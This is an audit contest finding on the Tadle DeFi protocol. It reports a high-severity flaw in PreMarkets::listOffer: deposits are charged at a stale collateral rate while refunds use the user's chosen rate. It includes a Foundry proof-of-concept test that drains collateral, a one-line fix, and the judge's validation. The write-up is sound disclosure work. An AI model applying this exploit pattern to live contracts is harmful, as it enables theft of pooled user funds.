Tadle

Tadle
DeFiFoundry
27,750 USDC
View results
Submission Details
Severity: high
Valid

[H-4] The function `PreMarkets::listOffer` charges an incorrect collateral amount, allowing users to manipulating collateral rates and drain the protocol's funds

Summary

The current collateral management system allows a malicious actor to drain the collateral pool by manipulating collateral rates. The issue arises because the collateral deposit charged at the time of listing a non-original offer corresponds to the previously set collateral rate, while the refund upon closing the offer is calculated based on the collateral rate registered on the offer. This discrepancy allows an attacker to exploit the system by manipulating collateral rates.

Vulnerability Details

When a user lists an offer with PreMarkets::listOffer, they choose a collateral rate, which gets set on their offer. However, in the current implementation, the collateral deposit they are charged is based on the previous collateral rate rather than the rate they selected, according to the code snippets below:

/// @dev transfer collateral when offer settle type is protected
if (makerInfo.offerSettleType == OfferSettleType.Protected) {
uint256 transferAmount = OfferLibraries.getDepositAmount(
offerInfo.offerType,
@> offerInfo.collateralRate,
_amount,
true,
Math.Rounding.Ceil
);

However, the collateral rate that is set on their offer info is the rate they selected:

/// @dev update offer info
offerInfoMap[offerAddr] = OfferInfo({
id: stockInfo.id,
authority: _msgSender(),
maker: offerInfo.maker,
offerStatus: OfferStatus.Virgin,
offerType: offerInfo.offerType,
abortOfferStatus: AbortOfferStatus.Initialized,
points: stockInfo.points,
amount: _amount,
@> collateralRate: _collateralRate,
usedPoints: 0,
tradeTax: 0,
settledPoints: 0,
settledPointTokenAmount: 0,
settledCollateralAmount: 0
});

On PreMarkets::closeOffer, the collateral is refunded upon the cancelation of an order based on the collateral rate that is set on the offer:

uint256 refundAmount = OfferLibraries.getRefundAmount(
offerInfo.offerType,
offerInfo.amount,
offerInfo.points,
offerInfo.usedPoints,
@> offerInfo.collateralRate
);

This creates an opportunity for a malicious actor to exploit the system:

  1. The attacker takes an existing offer with a low collateral rate.

  2. The attacker then lists the offer with a significantly higher collateral rate.

  3. Upon canceling the listing, the attacker receives a refund based on the inflated collateral rate, effectively withdrawing more funds than they deposited.

Impact

This exploit can lead to all of the protocol's funds being drained.

The impact - user withdrawing more collateral funds than they deposited - is demonstrated in the test case below, which can be included in the PreMarkets.t.sol file:

Proof Of Code
function testStealCollateralWithCollateralRate() public {
address maker = vm.addr(777); // user created to simulate an existing offer
address thief = vm.addr(779); // user created to simulate the exploit (thief)
// setup of the exploit demonstration
uint256 STARTING_BALANCE = 100e18;
uint256 POINTS_AMOUNT = 1_000;
uint256 TOKEN_AMOUNT = 10e18;
uint256 COLLATERAL_RATE = 15_000;
uint256 EACH_TRADE_TAX = 1_000;
uint256 POINTS_AMOUNT_THIEF = 10;
uint256 TOKEN_AMOUNT_THIEF = 0.3e18;
uint256 COLLATERAL_RATE_THIEF = 500_000; // collateral rate set by thief must be higher than original collateral rate
deal(address(mockUSDCToken), maker, STARTING_BALANCE);
deal(address(mockUSDCToken), thief, STARTING_BALANCE);
vm.prank(maker);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
vm.prank(thief);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
vm.prank(address(capitalPool));
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
// maker creates an offer
vm.prank(maker);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
POINTS_AMOUNT,
TOKEN_AMOUNT,
COLLATERAL_RATE,
EACH_TRADE_TAX,
OfferType.Ask,
OfferSettleType.Protected
)
);
address offer0Addr = GenerateAddress.generateOfferAddress(0);
address stock1Addr = GenerateAddress.generateStockAddress(1);
address offer1Addr = GenerateAddress.generateOfferAddress(1);
vm.startPrank(thief);
// thief takes offer created by the maker
preMarktes.createTaker(offer0Addr, POINTS_AMOUNT_THIEF);
// then they list the offer with a much higher collateral rate
preMarktes.listOffer(
stock1Addr,
TOKEN_AMOUNT_THIEF,
COLLATERAL_RATE_THIEF
);
// then they close the offer to get the refund
preMarktes.closeOffer(stock1Addr, offer1Addr);
tokenManager.withdraw(
address(mockUSDCToken),
TokenBalanceType.MakerRefund
);
// the amount the thief deposits is based on the original collateral rate
uint256 collateralDepositedByThief = TOKEN_AMOUNT_THIEF.mulDiv(
COLLATERAL_RATE,
COLLATERAL_RATE_DECIMAL_SCALER
);
// the amount the thief deposits is based on the inflated collateral rate
uint256 collateralWithdrawnByThief = TOKEN_AMOUNT_THIEF.mulDiv(
COLLATERAL_RATE_THIEF,
COLLATERAL_RATE_DECIMAL_SCALER
);
assert(collateralWithdrawnByThief > collateralDepositedByThief);
}

Tools Used

Manual code review.

Recommendations

This vulnerability can be addressed by updating the PreMarkets::listOffer function to charge the user the collateral rate they define instead of the original collateral rate, as shown below:

if (makerInfo.offerSettleType == OfferSettleType.Protected) {
uint256 transferAmount = OfferLibraries.getDepositAmount(
offerInfo.offerType,
+ _collateralRate,
- offerInfo.collateralRate,
_amount,
true,
Math.Rounding.Ceil
);
Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-listOffer-collateralRate-manipulate

Valid high severity, because the collateral rate utilized when creating an offer is stale and retrieved from a previously set collateral rate, it allows possible manipilation of refund amounts using an inflated collateral rate to drain funds from the CapitalPool contract

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.